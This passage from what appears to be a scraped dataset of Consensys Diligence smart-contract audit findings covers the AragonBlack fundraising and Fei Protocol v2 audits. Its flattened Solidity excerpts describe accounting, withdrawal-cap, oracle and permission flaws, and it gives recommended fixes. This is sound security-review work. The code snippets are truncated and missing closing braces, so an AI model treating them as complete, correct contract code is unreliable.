tap._maximumWithdrawal function. The method ensures that project managers can only withdraw unlocked funds (balance exceeding the collaterals minimum comprised of the collaterals configured floor including the minimum tokens to hold) even though their allowance might be higher. if there are no unlocked funds available, the maximum withdrawal is zero (balance <= minimum). if there are unlocked funds available (balance > minimum) and the allowance (tapped) would result in a balance >= minimum, the maximum withdrawal amount is the calculated allowance tapped. if there are unlocked funds available (balance > minimum) and the allowance (tapped) would result in a balance < minimum, the maximum withdrawal amount tapped is capped to balance - minimum to ensure that the remaining collateral balance is at least at the minimum and not below. This means that in the case of (3) if there are not enough funds to withdraw tapped(time*tap_rate) amount of tokens, it gets truncated and only a part of tapped tokens gets withdrawn. code/apps/tap/contracts/Tap.sol:L239-L255 function _maximumWithdrawal(address _token) internal view returns (uint256) { uint256 toBeClaimed = controller.collateralsToBeClaimed(_token); uint256 floor = floors[_token]; uint256 minimum = toBeClaimed.add(floor); uint256 balance = _token == ETH ? address(reserve).balance : ERC20(_token).staticBalanceOf(reserve); uint256 tapped = (_currentBatchId().sub(lastWithdrawals[_token])).mul(rates[_token]); if (minimum >= balance) { return 0; if (balance >= tapped.add(minimum)) { return tapped; return balance.sub(minimum); The problem is that the remaining tokens (tapped - capped_tapped) cannot be claimed afterward and tapped value is reset to zero. Remediation In case the maximum withdrawal amount gets capped, the information about the remaining tokens that the project team should have been able to withdraw should be kept to allow them to withdraw the tokens at a later point in time when there are enough funds for it. ", "labels": ["Consensys", "Major", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2019/11/aragonblack-fundraising/"}, {"title": "6.7 [New] Tapped collaterals can be bought by traders ", "body": " Resolution This behaviour is intentional and if there is not a lot of funds in the pool, shareholders have a priority to buy tokens even if these tokens can already be withdrawn by the beneficiary. It is done in order to protect shareholders in case if the project is dying and running out of funds. The downside of this behaviour is that it creates an additional incentive for the beneficiary to withdraw tapped tokens as soon and as often as possible which creates a race condition. Description When a trader submits a sell order, _openSellOrder() function checks that there are enough tokens in reserve by calling _poolBalanceIsSufficient function code/apps/batched-bancor-market-maker/contracts/BatchedBancorMarketMaker.sol:L483-L485 function _poolBalanceIsSufficient(address _collateral) internal view returns (bool) { return controller.balanceOf(address(reserve), _collateral) >= collateralsToBeClaimed[_collateral]; the problem is that because collateralsToBeClaimed[_collateral] has increased, controller.balanceOf(address(reserve), _collateral) could also increase. It happens so because controller.balanceOf() function subtracts tapped amount from the reserve s balance. code/apps/aragon-fundraising/contracts/AragonFundraisingController.sol:L358-L366 function balanceOf(address _who, address _token) public view isInitialized returns (uint256) { uint256 balance = _token == ETH ? _who.balance : ERC20(_token).staticBalanceOf(_who); if (_who == address(reserve)) { return balance.sub(tap.getMaximumWithdrawal(_token)); } else { return balance; And tap.getMaximumWithdrawal(_token) could decrease because it depends on collateralsToBeClaimed[_collateral] apps/tap/contracts/Tap.sol:L231-L264 function _tappedAmount(address _token) internal view returns (uint256) { uint256 toBeKept = controller.collateralsToBeClaimed(_token).add(floors[_token]); uint256 balance = _token == ETH ? address(reserve).balance : ERC20(_token).staticBalanceOf(reserve); uint256 flow = (_currentBatchId().sub(lastTappedAmountUpdates[_token])).mul(rates[_token]); uint256 tappedAmount = tappedAmounts[_token].add(flow); /** whatever happens enough collateral should be kept in the reserve pool to guarantee that its balance is kept above the floor once all pending sell orders are claimed / /** the reserve's balance is already below the balance to be kept the tapped amount should be reset to zero / if (balance <= toBeKept) { return 0; /** the reserve's balance minus the upcoming tap flow would be below the balance to be kept the flow should be reduced to balance - toBeKept / if (balance <= toBeKept.add(tappedAmount)) { return balance.sub(toBeKept); /** the reserve's balance minus the upcoming flow is above the balance to be kept the flow can be added to the tapped amount / return tappedAmount; That means that the amount that beneficiary can withdraw has just decreased, which should not be possible. Recommendation Ensure that tappedAmount cannot be decreased once updated. ", "labels": ["Consensys", "Medium", "Won't Fix"], "html_url": "https://consensys.io/diligence/audits/2019/11/aragonblack-fundraising/"}, {"title": "6.8 Presale - contributionToken double cast and invalid comparison ", "body": " Resolution Fixed with AragonBlack/fundraising@61f5803. Description Examples contribute - invalid comparison of contract type against address(0x00). Even though this is accepted in solidity <0.5.0 it is going to raise a compiler error with newer versions (>=0.5.0). code/apps/presale/contracts/Presale.sol:L163-L170 function contribute(address _contributor, uint256 _value) external payable nonReentrant auth(CONTRIBUTE_ROLE) { require(state() == State.Funding, ERROR_INVALID_STATE); if (contributionToken == ETH) { require(msg.value == _value, ERROR_INVALID_CONTRIBUTE_VALUE); } else { require(msg.value == 0, ERROR_INVALID_CONTRIBUTE_VALUE); _transfer - double cast token to ERC20 if it is the contribution token. code/apps/presale/contracts/Presale.sol:L344-L344 require(ERC20(_token).safeTransfer(_to, _amount), ERROR_TOKEN_TRANSFER_REVERTED); Recommendation contributionToken can either be ETH or a valid ERC20 contract address. It is therefore recommended to store the token as an address type instead of the more precise contract type to resolve the double cast and the invalid contract type to address comparison or cast the ERC20 type to address() before comparison. ", "labels": ["Consensys", "Medium", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2019/11/aragonblack-fundraising/"}, {"title": "6.9 Fees are not returned for buy orders if a batch is canceled ", "body": " Resolution This issue has been addressed with the following statement: The only situation where a batch can be cancelled is when a collateral is un-whitelisted. This is obviously a very critical operation that we introduced just in case the collateral happened to be malicious token. Handling the ability to return fees in case a batch order is cancelled would thus add a lot of computation overhead for: a. a very unlikely situation b. where the fees would anyhow be returned in a malicious token. c. given a small amount [it s a fee and not the main amount]. We figured out that it was a bad decision to add gas overhead to all orders just to prevent this situation. Description Every trader pays fees on each buy order and transfers it directly to the beneficiary. code/apps/batched-bancor-market-maker/contracts/BatchedBancorMarketMaker.sol:L706-L713 uint256 fee = _value.mul(buyFeePct).div(PCT_BASE); uint256 value = _value.sub(fee); // collect fee and collateral if (fee > 0) { _transfer(_buyer, beneficiary, _collateral, fee); _transfer(_buyer, address(reserve), _collateral, value); If the batch is canceled, fees are not returned to the traders because there is no access to the beneficiary account. Additionally, fees are returned to traders for all the sell orders if the batch is canceled. Recommendation Consider transferring fees to a beneficiary only after the batch is over. ", "labels": ["Consensys", "Medium", "Won't Fix"], "html_url": "https://consensys.io/diligence/audits/2019/11/aragonblack-fundraising/"}, {"title": "6.10 Tap - Controller should not be updateable ", "body": " Resolution Fixed with AragonBlack/fundraising@f6054443 by removing update functionality. Description Similar to the issue 6.11, Tap allows updating the Controller contract it is using. The permission is currently not assigned in the FundraisingMultisigTemplate but might be used in custom deployments. code/apps/tap/contracts/Tap.sol:L117-L125 /** @notice Update controller to `_controller` @param _controller The address of the new controller contract / function updateController(IAragonFundraisingController _controller) external auth(UPDATE_CONTROLLER_ROLE) { require(isContract(_controller), ERROR_CONTRACT_IS_EOA); _updateController(_controller); Recommendation To avoid inconsistencies, we suggest to remove this functionality and provide a guideline on how to safely upgrade components of the system. ", "labels": ["Consensys", "Medium", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2019/11/aragonblack-fundraising/"}, {"title": "6.11 Tap - reserve can be updated in Tap but not in MarketMaker or Controller ", "body": " Resolution Fixed with AragonBlack/fundraising@987720b1 by removing update functionality. Description The address of the pool/reserve contract can be updated in Tap if someone owns the UPDATE_RESERVE_ROLE permission. The permission is currently not assigned in the template. The reserve is being referenced by multiple Contracts. Tap interacts with it to transfer funds to the beneficiary, Controller adds new protected tokens, and MarketMaker transfers funds when someone sells their Shareholder token. Updating reserve only in Tap is inconsistent with the system as the other contracts are still referencing the old reserve unless they are updated via the Aragon Application update mechanisms. code/apps/tap/contracts/Tap.sol:L127-L135 /** @notice Update reserve to `_reserve` @param _reserve The address of the new reserve [pool] contract / function updateReserve(Vault _reserve) external auth(UPDATE_RESERVE_ROLE) { require(isContract(_reserve), ERROR_CONTRACT_IS_EOA); _updateReserve(_reserve); Recommendation Remove the possibility to update reserve in Tap to keep the system consistent. Provide information about update mechanisms in case the reserve needs to be updated for all components. ", "labels": ["Consensys", "Medium", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2019/11/aragonblack-fundraising/"}, {"title": "6.12 Presale can be opened earlier than initially assigned date ", "body": " Resolution Fixed with AragonBlack/fundraising@0726e29. Description There are 2 ways how presale opening date can be assigned. Either it s defined on initialization or the presale will start when open() function is executed. code/apps/presale/contracts/Presale.sol:L144-L146 if (_openDate != 0) { _setOpenDate(_openDate); The problem is that even if openDate is assigned to some non-zero date, it can still be opened earlier by calling open() function. code/apps/presale/contracts/Presale.sol:L152-L156 function open() external auth(OPEN_ROLE) { require(state() == State.Pending, ERROR_INVALID_STATE); _open(); Recommendation Require that openDate is not set (0) when someone manually calls the open() function. ", "labels": ["Consensys", "Medium", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2019/11/aragonblack-fundraising/"}, {"title": "6.13 Presale - should not allow zero value contributions ", "body": " Resolution Fixed with AragonBlack/fundraising@6a6e222. Description The Presale accepts zero value contributions emitting a contribution event if none of the Aragon components (TokenManager, MinimeToken) raises an exception. code/apps/presale/contracts/Presale.sol:L163-L173 function contribute(address _contributor, uint256 _value) external payable nonReentrant auth(CONTRIBUTE_ROLE) { require(state() == State.Funding, ERROR_INVALID_STATE); if (contributionToken == ETH) { require(msg.value == _value, ERROR_INVALID_CONTRIBUTE_VALUE); } else { require(msg.value == 0, ERROR_INVALID_CONTRIBUTE_VALUE); _contribute(_contributor, _value); Recommendation Reject zero value ETH or ERC20 contributions. ", "labels": ["Consensys", "Minor", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2019/11/aragonblack-fundraising/"}, {"title": "6.14 Compiler Warnings - Function state mutability can be restricted to view ", "body": " Resolution Fixed with AragonBlack/fundraising@cfd677a. Description The following methods are not state-changing and can, therefore, be restricted to view. Recommendation Restrict function state mutability of the listed methods to view. ", "labels": ["Consensys", "Minor", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2019/11/aragonblack-fundraising/"}, {"title": "6.15 FundraisingMultisigTemplate - should use BaseTemplate._createPermissionForTemplate() to assign permissions to itself ", "body": " Resolution Fixed with AragonBlack/fundraising@dd153e0. Description The template temporarily assigns permissions to itself to be able to configure parts of the system. This can either be done by calling acl.createPermission(address(this), app, role, manager) or by using a distinct method provided with the DAO-Templates BaseTemplate _createPermissionForTemplate. We suggest that in order to make it clear that permissions are assigned to the template and make it easier to audit that permissions are either revoked or transferred before the DAO is transferred to the new user, the method provided and used with the default Aragon DAO-Templates should be used. use createPermission if permissions are assigned to an entity other than the template contract. use _createPermissionForTemplate when creating permissions for the template contract. code/templates/multisig/contracts/FundraisingMultisigTemplate.sol:L333-L334 // create and grant ADD_PROTECTED_TOKEN_ROLE to this template acl.createPermission(this, controller, controller.ADD_COLLATERAL_TOKEN_ROLE(), this); Sidenote: pass address(this) instead of the contract instance to createPermission. Recommendation Use BaseTemplate._createPermissionForTemplate to assign permissions to the template. ", "labels": ["Consensys", "Minor", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2019/11/aragonblack-fundraising/"}, {"title": "6.16 FundraisingMultisigTemplate - misleading comments ", "body": " Resolution Fixed with AragonBlack/fundraising@3b4700a and AragonBlack/fundraising@40c465fc. Description The comment mentionsADD_PROTECTED_TOKEN_ROLE but permissions for ADD_COLLATERAL_TOKEN_ROLE are created. code/templates/multisig/contracts/FundraisingMultisigTemplate.sol:L333-L334 // create and grant ADD_PROTECTED_TOKEN_ROLE to this template acl.createPermission(this, controller, controller.ADD_COLLATERAL_TOKEN_ROLE(), this); code/templates/multisig/contracts/FundraisingMultisigTemplate.sol:L355-L356 // transfer ADD_PROTECTED_TOKEN_ROLE _transferPermissionFromTemplate(acl, controller, shareVoting, controller.ADD_COLLATERAL_TOKEN_ROLE(), shareVoting); Recommendation ADD_PROTECTED_TOKEN_ROLE in the comment should be ADD_COLLATERAL_TOKEN_ROLE. ", "labels": ["Consensys", "Minor", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2019/11/aragonblack-fundraising/"}, {"title": "6.17 FundraisingMultisigTemplate - unnecessary cast to address ", "body": " Resolution Fixed with AragonBlack/fundraising@0e00269. Description The addresses of DAI (argument address _dai) and AND (argument address _ant) are unnecessarily cast to address. code/templates/multisig/contracts/FundraisingMultisigTemplate.sol:L58-L76 constructor( DAOFactory _daoFactory, ENS _ens, MiniMeTokenFactory _miniMeFactory, IFIFSResolvingRegistrar _aragonID, address _dai, address _ant BaseTemplate(_daoFactory, _ens, _miniMeFactory, _aragonID) public _ensureAragonIdIsValid(_aragonID); _ensureMiniMeFactoryIsValid(_miniMeFactory); _ensureTokenIsContractOrETH(_dai); _ensureTokenIsContractOrETH(_ant); collaterals.push(address(_dai)); collaterals.push(address(_ant)); Recommendation Both arguments are already of type address, therefore remove the explicit cast to address() when pushing to the collaterals array. ", "labels": ["Consensys", "Minor", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2019/11/aragonblack-fundraising/"}, {"title": "6.18 FundraisingMultisigTemplate - unused import ERC20 ", "body": " Resolution Fixed with AragonBlack/fundraising@73481d1. Description The interface ERC20 is imported but never used. code/templates/multisig/contracts/FundraisingMultisigTemplate.sol:L4-L4 import \"@aragon/os/contracts/lib/token/ERC20.sol\"; Recommendation Remove the unused import. ", "labels": ["Consensys", "Minor", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2019/11/aragonblack-fundraising/"}, {"title": "6.19 FundraisingMultisigTemplate - DAI/ANT token address cannot be zero ", "body": " Resolution Fixed with AragonBlack/fundraising@da561ce. Description code/templates/multisig/contracts/FundraisingMultisigTemplate.sol:L71-L72 _ensureTokenIsContractOrETH(_dai); _ensureTokenIsContractOrETH(_ant); code/templates/multisig/contracts/FundraisingMultisigTemplate.sol:L572-L575 function _ensureTokenIsContractOrETH(address _token) internal view returns (bool) { require(isContract(_token) || _token == ETH, ERROR_BAD_SETTINGS); Recommendation Use isContract() instead of _ensureTokenIsContractOrETH() and optionally require that collateral[0] != collateral[1] as an additional check to prevent that the fundraising template is being deployed with an invalid configuration. 7 Tool-Based Analysis Several tools were used to perform an automated analysis of the reviewed contracts. These issues were reviewed by the audit team, and relevant issues are listed in the Issue Details section. ", "labels": ["Consensys", "Minor", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2019/11/aragonblack-fundraising/"}, {"title": "7.1 MythX", "body": " MythX is a security analysis API for Ethereum smart contracts. It performs multiple types of analysis, including fuzzing and symbolic execution, to detect many common vulnerability types. The tool was used for automated vulnerability discovery for all audited contracts and libraries. More details on MythX can be found at mythx.io. ", "labels": ["Consensys"], "html_url": "https://consensys.io/diligence/audits/2019/11/aragonblack-fundraising/"}, {"title": "7.2 Ethlint", "body": " Ethlint is an open-source project for linting Solidity code. Only security-related issues were reviewed by the audit team. Below is the raw output of the Ethlint vulnerability scan: $ solium --version Solium version 1.2.5 $ solium -d apps/aragon-fundraising/contracts/AragonFundraisingController.sol 370:5 error Only use indent of 4 spaces. indentation templates/multisig/contracts/FundraisingMultisigTemplate.sol 573:5 error Only use indent of 4 spaces. indentation ", "labels": ["Consensys"], "html_url": "https://consensys.io/diligence/audits/2019/11/aragonblack-fundraising/"}, {"title": "7.3 Surya", "body": " Surya is a utility tool for smart contract systems. It provides a number of visual outputs and information about the structure of smart contracts. It also supports querying the function call graph in multiple ways to aid in the manual inspection and control flow analysis of contracts. Below is a complete list of functions with their visibility and modifiers (please use horizontal scroll to view all columns): Contracts Description Table Function Name Visibility Mutability Modifiers AragonFundraisingController Implementation EtherTokenConstant, IsContract, IAragonFundraisingController, AragonApp initialize External onlyInit updateBeneficiary External auth updateFees External auth openPresale External auth closePresale External isInitialized contribute External auth refund External isInitialized openTrading External auth openBuyOrder External auth openSellOrder External auth claimBuyOrder External isInitialized claimSellOrder External isInitialized addCollateralToken External auth reAddCollateralToken External auth removeCollateralToken External auth updateCollateralToken External auth updateMaximumTapRateIncreasePct External auth updateMaximumTapFloorDecreasePct External auth addTokenTap External auth updateTokenTap External auth withdraw External auth token Public isInitialized contributionToken Public isInitialized getMaximumWithdrawal Public isInitialized collateralsToBeClaimed Public isInitialized balanceOf Public isInitialized _tokenIsContractOrETH Internal \ud83d\udd12 BancorFormula Implementation IBancorFormula, Utils Public calculatePurchaseReturn Public NO calculateSaleReturn Public NO calculateCrossConnectorReturn Public NO power Internal \ud83d\udd12 generalLog Internal \ud83d\udd12 floorLog2 Internal \ud83d\udd12 findPositionInMaxExpArray Internal \ud83d\udd12 generalExp Internal \ud83d\udd12 optimalLog Internal \ud83d\udd12 optimalExp Internal \ud83d\udd12 BatchedBancorMarketMaker Implementation EtherTokenConstant, IsContract, AragonApp initialize External onlyInit open External auth updateFormula External auth updateBeneficiary External auth updateFees External auth addCollateralToken External auth removeCollateralToken External auth updateCollateralToken External auth openBuyOrder External auth openSellOrder External auth claimBuyOrder External nonReentrant isInitialized claimSellOrder External nonReentrant isInitialized claimCancelledBuyOrder External nonReentrant isInitialized claimCancelledSellOrder External nonReentrant isInitialized getCurrentBatchId Public isInitialized getCollateralToken Public isInitialized getBatch Public isInitialized getStaticPricePPM Public isInitialized _staticPricePPM Internal \ud83d\udd12 _currentBatchId Internal \ud83d\udd12 _beneficiaryIsValid Internal \ud83d\udd12 _feeIsValid Internal \ud83d\udd12 _reserveRatioIsValid Internal \ud83d\udd12 _tokenManagerSettingIsValid Internal \ud83d\udd12 _collateralValueIsValid Internal \ud83d\udd12 _bondAmountIsValid Internal \ud83d\udd12 _collateralIsWhitelisted Internal \ud83d\udd12 _batchIsOver Internal \ud83d\udd12 _batchIsCancelled Internal \ud83d\udd12 _userIsBuyer Internal \ud83d\udd12 _userIsSeller Internal \ud83d\udd12 _poolBalanceIsSufficient Internal \ud83d\udd12 _slippageIsValid Internal \ud83d\udd12 _buySlippageIsValid Internal \ud83d\udd12 _sellSlippageIsValid Internal \ud83d\udd12 _currentBatch Internal \ud83d\udd12 _open Internal \ud83d\udd12 _updateBeneficiary Internal \ud83d\udd12 _updateFormula Internal \ud83d\udd12 _updateFees Internal \ud83d\udd12 _cancelCurrentBatch Internal \ud83d\udd12 _addCollateralToken Internal \ud83d\udd12 _removeCollateralToken Internal \ud83d\udd12 _updateCollateralToken Internal \ud83d\udd12 _openBuyOrder Internal \ud83d\udd12 _openSellOrder Internal \ud83d\udd12 _claimBuyOrder Internal \ud83d\udd12 _claimSellOrder Internal \ud83d\udd12 _claimCancelledBuyOrder Internal \ud83d\udd12 _claimCancelledSellOrder Internal \ud83d\udd12 _updatePricing Internal \ud83d\udd12 _transfer Internal \ud83d\udd12 Presale Implementation EtherTokenConstant, IsContract, AragonApp initialize External onlyInit open External auth contribute External nonReentrant auth refund External nonReentrant isInitialized close External nonReentrant isInitialized contributionToTokens Public isInitialized state Public isInitialized _timeSinceOpen Internal \ud83d\udd12 _setOpenDate Internal \ud83d\udd12 _setVestingDatesWhenOpenDateIsKnown Internal \ud83d\udd12 _open Internal \ud83d\udd12 _contribute Internal \ud83d\udd12 _refund Internal \ud83d\udd12 _close Internal \ud83d\udd12 _transfer Internal \ud83d\udd12 Tap Implementation TimeHelpers, EtherTokenConstant, IsContract, AragonApp initialize External onlyInit updateController External auth updateReserve External auth updateBeneficiary External auth updateMaximumTapRateIncreasePct External auth updateMaximumTapFloorDecreasePct External auth addTappedToken External auth removeTappedToken External auth updateTappedToken External auth resetTappedToken External auth withdraw External auth getMaximumWithdrawal Public isInitialized _currentBatchId Internal \ud83d\udd12 _maximumWithdrawal Internal \ud83d\udd12 _beneficiaryIsValid Internal \ud83d\udd12 _maximumTapFloorDecreasePctIsValid Internal \ud83d\udd12 _tokenIsContractOrETH Internal \ud83d\udd12 _tokenIsTapped Internal \ud83d\udd12 _tapRateIsValid Internal \ud83d\udd12 _tapUpdateIsValid Internal \ud83d\udd12 _tapRateUpdateIsValid Internal \ud83d\udd12 _tapFloorUpdateIsValid Internal \ud83d\udd12 _updateController Internal \ud83d\udd12 _updateReserve Internal \ud83d\udd12 _updateBeneficiary Internal \ud83d\udd12 _updateMaximumTapRateIncreasePct Internal \ud83d\udd12 _updateMaximumTapFloorDecreasePct Internal \ud83d\udd12 _addTappedToken Internal \ud83d\udd12 _removeTappedToken Internal \ud83d\udd12 _updateTappedToken Internal \ud83d\udd12 _resetTappedToken Internal \ud83d\udd12 _withdraw Internal \ud83d\udd12 FundraisingMultisigTemplate Implementation EtherTokenConstant, BaseTemplate Public BaseTemplate prepareInstance External NO installShareApps External NO installFundraisingApps External NO finalizeInstance External NO _installBoardApps Internal \ud83d\udd12 _installShareApps Internal \ud83d\udd12 _installFundraisingApps Internal \ud83d\udd12 _proxifyFundraisingApps Internal \ud83d\udd12 _initializePresale Internal \ud83d\udd12 _initializeMarketMaker Internal \ud83d\udd12 _initializeTap Internal \ud83d\udd12 _initializeController Internal \ud83d\udd12 _setupCollaterals Internal \ud83d\udd12 _setupBoardPermissions Internal \ud83d\udd12 _setupSharePermissions Internal \ud83d\udd12 _setupFundraisingPermissions Internal \ud83d\udd12 _cacheDao Internal \ud83d\udd12 _cacheBoardApps Internal \ud83d\udd12 _cacheShareApps Internal \ud83d\udd12 _cacheFundraisingApps Internal \ud83d\udd12 _daoCache Internal \ud83d\udd12 _boardAppsCache Internal \ud83d\udd12 _shareAppsCache Internal \ud83d\udd12 _fundraisingAppsCache Internal \ud83d\udd12 _clearCache Internal \ud83d\udd12 _vaultCache Internal \ud83d\udd12 _shareTMCache Internal \ud83d\udd12 _reserveCache Internal \ud83d\udd12 _presaleCache Internal \ud83d\udd12 _controllerCache Internal \ud83d\udd12 _ensureTokenIsContractOrETH Internal \ud83d\udd12 _ensureBoardAppsCache Internal \ud83d\udd12 _ensureShareAppsCache Internal \ud83d\udd12 _ensureFundraisingAppsCache Internal \ud83d\udd12 _registerApp Internal \ud83d\udd12 Legend Function can modify state Function is payable ", "labels": ["Consensys"], "html_url": "https://consensys.io/diligence/audits/2019/11/aragonblack-fundraising/"}, {"title": "7.4 Test Coverage Measurement", "body": " Testing is implemented using Truffle an all provided test cases pass. However, the Presale contract fails to generate coverage statistics. MarketMaker Controller Tap Presale ", "labels": ["Consensys"], "html_url": "https://consensys.io/diligence/audits/2019/11/aragonblack-fundraising/"}, {"title": "4.1 StableSwapOperatorV1 - resistantFei value is not correct in the resistantBalanceAndFei function ", "body": " Description The resistantBalanceAndFei function of a PCVDeposit contract is supposed to return the amount of funds that the contract controls; it is then used to evaluate the total value of PCV (collateral in the protocol). Additionally, this function returns the number of FEI tokens that are protocol-controlled. These FEI tokens are temporarily minted ; they are not backed up by the collateral and shouldn t be used in calculations that determine the collateralization of the protocol. Ideally, the amount of these FEI tokens should be the same during the deposit, withdrawal, and the resistantBalanceAndFei function call. In the StableSwapOperatorV1 contract, all these values are totally different: during the deposit, the amount of required FEI tokens is calculated. It s done in a way so the values of FEI and 3pool tokens in the metapool should be equal after the deposit. So if there is the initial imbalance of FEI and 3pool tokens, the deposit value of these tokens will be different: code/contracts/pcv/curve/StableSwapOperatorV1.sol:L156-L171 // get the amount of tokens in the pool (uint256 _3crvAmount, uint256 _feiAmount) = ( IStableSwap2(pool).balances(_3crvIndex), IStableSwap2(pool).balances(_feiIndex) ); // ... and the expected amount of 3crv in it after deposit uint256 _3crvAmountAfter = _3crvAmount + _3crvBalanceAfter; // get the usd value of 3crv in the pool uint256 _3crvUsdValue = _3crvAmountAfter * IStableSwap3(_3pool).get_virtual_price() / 1e18; // compute the number of FEI to deposit uint256 _feiToDeposit = 0; if (_3crvUsdValue > _feiAmount) { _feiToDeposit = _3crvUsdValue - _feiAmount; } during the withdrawal, the FEI and 3pool tokens are withdrawn in the same proportion as they are present in the metapool: code/contracts/pcv/curve/StableSwapOperatorV1.sol:L255-L258 uint256[2] memory _minAmounts; // [0, 0] IERC20(pool).approve(pool, _lpToWithdraw); uint256 _3crvBalanceBefore = IERC20(_3crv).balanceOf(address(this)); IStableSwap2(pool).remove_liquidity(_lpToWithdraw, _minAmounts); in the resistantBalanceAndFei function, the value of protocol-controlled FEI tokens and the value of 3pool tokens deposited are considered equal: code/contracts/pcv/curve/StableSwapOperatorV1.sol:L348-L349 resistantBalance = _lpPriceUSD / 2; resistantFei = resistantBalance; Some of these values may be equal under some circumstances, but that is not enforced. After one of the steps (deposit or withdrawal), the total PCV value and collateralization may be changed significantly. Recommendation Make sure that deposit, withdrawal, and the resistantBalanceAndFei are consistent and won t instantly change the PCV value significantly. ", "labels": ["Consensys", "Major"], "html_url": "https://consensys.io/diligence/audits/2021/09/fei-protocol-v2-phase-1/"}, {"title": "4.2 CollateralizationOracle - Fei in excluded deposits contributes to userCirculatingFei ", "body": " Description CollateralizationOracle.pcvStats iterates over all deposits, queries the resistant balance and FEI for each deposit, and accumulates the total value of the resistant balances and the total resistant FEI. Any Guardian or Governor can exclude (and re-include) a deposit that has become problematic in some way, for example, because it is reporting wrong numbers. Finally, the pcvStats function computes the userCirculatingFei as the total FEI supply minus the accumulated resistant FEI balances; the idea here is to determine the amount of free FEI, or FEI that is not PCV. However, the FEI balances from excluded deposits contribute to the userCirculatingFei, although they are clearly not free FEI. That leads to a wrong protocolEquity and a skewed collateralization ratio and might therefore have a significant impact on the economics of the system. It should be noted that even the exclusion from the total PCV leads to a protocolEquity and a collateralization ratio that could be considered skewed (again, it might depend on the exact reasons for exclusion), but adding the missing FEI to the userCirculatingFei distorts these numbers even more. In the extreme scenario that all deposits have been excluded, the entire Fei supply is currently reported as userCirculatingFei. code/contracts/oracle/CollateralizationOracle.sol:L278-L328 /// @notice returns the Protocol-Controlled Value, User-circulating FEI, and /// Protocol Equity. /// @return protocolControlledValue : the total USD value of all assets held /// by the protocol. /// @return userCirculatingFei : the number of FEI not owned by the protocol. /// @return protocolEquity : the difference between PCV and user circulating FEI. /// If there are more circulating FEI than $ in the PCV, equity is 0. /// @return validityStatus : the current oracle validity status (false if any /// of the oracles for tokens held in the PCV are invalid, or if /// this contract is paused). function pcvStats() public override view returns ( uint256 protocolControlledValue, uint256 userCirculatingFei, int256 protocolEquity, bool validityStatus ) { uint256 _protocolControlledFei = 0; validityStatus = !paused(); // For each token... for (uint256 i = 0; i < tokensInPcv.length(); i++) { address _token = tokensInPcv.at(i); uint256 _totalTokenBalance = 0; // For each deposit... for (uint256 j = 0; j < tokenToDeposits[_token].length(); j++) { address _deposit = tokenToDeposits[_token].at(j); // ignore deposits that are excluded by the Guardian if (!excludedDeposits[_deposit]) { // read the deposit, and increment token balance/protocol fei (uint256 _depositBalance, uint256 _depositFei) = IPCVDepositBalances(_deposit).resistantBalanceAndFei(); _totalTokenBalance += _depositBalance; _protocolControlledFei += _depositFei; // If the protocol holds non-zero balance of tokens, fetch the oracle price to // increment PCV by _totalTokenBalance * oracle price USD. if (_totalTokenBalance != 0) { (Decimal.D256 memory _oraclePrice, bool _oracleValid) = IOracle(tokenToOracle[_token]).read(); if (!_oracleValid) { validityStatus = false; protocolControlledValue += _oraclePrice.mul(_totalTokenBalance).asUint256(); userCirculatingFei = fei().totalSupply() - _protocolControlledFei; protocolEquity = int256(protocolControlledValue) - int256(userCirculatingFei); Recommendation It is unclear how to fix this. One might want to exclude the FEI in excluded deposits entirely from the calculation, but not knowing the amount was the reason to exclude the deposit in the first place. One option could be to let the entity that excludes a deposit specify substitute values that should be used instead of querying the numbers from the deposit. However, it is questionable whether this approach is practical if the numbers we d like to see as substitute values change quickly or repeatedly over time. Ultimately, the querying function itself should be fixed. Moreover, as the substitute values can dramatically impact the system economics, we d only like to trust the Governor with this and not give this permission to a Guardian. However, the original intention was to give a role with less trust than the Governor the possibility to react quickly to a deposit that reports wrong numbers; if the exclusion of deposits becomes the Governor s privilege, such a quick and lightweight intervention isn t possible anymore. Independently, we recommend taking proper care of the situation that all deposits or just too many have been excluded, for example, by setting the returned validityStatus to false, as in this case, there is not enough information to compute the collateralization ratio even as a crude approximation. ", "labels": ["Consensys", "Major"], "html_url": "https://consensys.io/diligence/audits/2021/09/fei-protocol-v2-phase-1/"}, {"title": "4.3 StableSwapOperatorV1 - the _minLpOut value is not accurate ", "body": " Description When depositing, the expected minimum amount of the output LP tokens is calculated: code/contracts/pcv/curve/StableSwapOperatorV1.sol:L194-L200 // slippage check on metapool deposit uint256 _balanceDeposited = IERC20(pool).balanceOf(address(this)) - _balanceBefore; uint256 _metapoolVirtualPrice = IStableSwap2(pool).get_virtual_price(); uint256 _minLpOut = (_feiToDeposit + _3crvBalanceAfter) * 1e18 / _metapoolVirtualPrice * (Constants.BASIS_POINTS_GRANULARITY - depositMaxSlippageBasisPoints) / Constants.BASIS_POINTS_GRANULARITY; require(_balanceDeposited >= _minLpOut, \"StableSwapOperatorV1: metapool deposit slippage too high\"); The problem is that the get_virtual_price function returns a valid price only if the tokens in the pool are expected to have a price equal to $1 which is not the case. Also, the balances of deposited FEI and 3pool lp tokens are just added to each other while they have a different price: _feiToDeposit + _3crvBalanceAfter. The price of the 3pool lp tokens is currently very close to 1$ so this difference is not that visible at the moment, but this can slowly change over time. ", "labels": ["Consensys", "Medium"], "html_url": "https://consensys.io/diligence/audits/2021/09/fei-protocol-v2-phase-1/"}, {"title": "4.4 StableSwapOperatorV1 - FEI tokens in the contract are not considerred as protocol-owned ", "body": " Description Every PCVDeposit contract should return the amount of PCV controlled by this contract in the resistantBalanceAndFei. In addition to that, this function returns the amount of protocol-controlled FEI, which is not supposed to be collateralized. These values are crucial for evaluating the collateralization of the protocol. Unlike some other PCVDeposit contracts, protocol-controlled FEI is not minted during the deposit and not burnt during the withdrawal. These FEI tokens are transferred beforehand, so when depositing, all the FEI that are instantly becoming protocol-controlled and heavily impact the collateralization rate. The opposite impact, but as much significant, happens during the withdrawal. The amount of FEI needed for the deposited is calculated dynamically, it is hard to predict the exact amount beforehand. There may be too many FEI tokens in the contract and the leftovers will be considered as the user-controlled FEI. Recommendation There may be different approaches to solve this issue. One of them would be to make sure 